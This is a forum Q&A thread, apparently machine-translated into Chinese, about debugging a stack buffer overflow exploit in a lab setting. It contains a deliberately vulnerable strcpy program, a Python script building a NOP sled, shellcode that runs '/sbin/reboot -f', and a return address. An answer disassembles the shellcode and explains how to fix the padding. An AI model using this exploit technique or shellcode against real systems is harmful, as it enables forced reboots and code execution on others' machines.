Segmentation Fault shell 代码测试kali 2018

Segmentation Fault shell code testing kali 2018

我已经阅读了很多文章和例子,但我不知道我现在能做什么。所以,我想为这个易受攻击的程序测试一个 shellcode:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
    copier(argv[1]);
    printf("Done!\n");
}
int copier(char *str) {
    char buffer[100];
    strcpy(buffer, str);
}

脚本到 运行 我的 shellcode(强制重启):

#!/usr/bin/python

nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip 

在这里你可以看到我的shellcode已经正确加载:

来自esp的寄存器

我的 return 地址是:0xbffff170。那么为什么我的程序不工作呢?请帮帮我

所以根据我的计算,这就是你的 shellcode 正在做的事情(这里是英特尔汇编语法):

0xbffff19c:  31 c0                  xor    eax,eax
0xbffff19e:  50                     push   eax
0xbffff19f:  68 62 6f 6f 74         push   0x746f6f62
0xbffff1a3:  68 6e 2f 72 65         push   0x65722f6e
0xbffff1a9:  68 2f 73 62 69         push   0x6962732f
0xbffff1ae:  89 e3                  mov    ebx,esp
0xbffff1b0:  50                     push   eax
0xbffff1b1:  66 68 2d 66            pushw  0x662d
0xbffff1b5:  89 e6                  mov    esi,esp
0xbffff1b7:  50                     push   eax
0xbffff1b8:  56                     push   esi
0xbffff1b9:  53                     push   ebx
0xbffff1ba:  89 e1                  mov    ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc:  b0 0b                  mov    al,0xb
0xbffff1be:  cd 80                  int    0x80    ; syscall sys_execve()

分段错误发生在 0xbffff1b8,即使您可以看到那里的操作码是完全有效的。那么可能发生了什么?让我们看看...

您可能会注意到有相当多的 pushing 正在进行。所有这些 pushes 都会覆盖调用堆栈中的数据。总共34个字节,准确地说。

是的,存储 shellcode 本身的同一个调用栈...你把这些点联系起来了吗? shellcode 正在覆盖自身并破坏它自己的代码。它开始时很好,但是当它到达 0xbffff1b8 时,有效代码不再存在,因为它完全被其他东西覆盖了。

您需要确保 paddingeip 的总长度为 34 或更多,以便 shellcode 在开始覆盖它自己的之前有足够的堆栈 space 工作代码。

也就是说,padding 必须至少长 18 个字节。

nopsled 长度减少 32 个字节,只是为了让它更宽敞,然后将这些字节传输到 padding。这应该为 shellcode 保留足够的堆栈 space 来完成它而不会破坏自身。

而且由于eip地址目前是shellcode开始前的44字节,所以不需要调整。

还有其他需要观察的地方,首先,一旦shellcode完成运行,它就不再关心接下来会发生什么。这意味着即使在按预期工作时,该程序也会崩溃,就在它完成调用重启之后。

此外,/sbin/reboot 可能需要 root 权限才能工作。如果此进程不是 运行 作为 root,它不会重新启动(它只会崩溃)。

@Havenard 我不知道我做错了什么。我已经修改了我的代码,所以现在有 24 字节的 nopsled,36 字节的 shell 代码,44 字节的填充,然后是 return 地址。如下所示:

我使用的是 root 帐户,所以它应该可以工作。当我使用 shell-strom 中的代码时,它会正常重启我的计算机。我的意思是当我编译并 运行 下面的代码作为正常程序时:

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
                  "\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
                  "\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
                  "\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}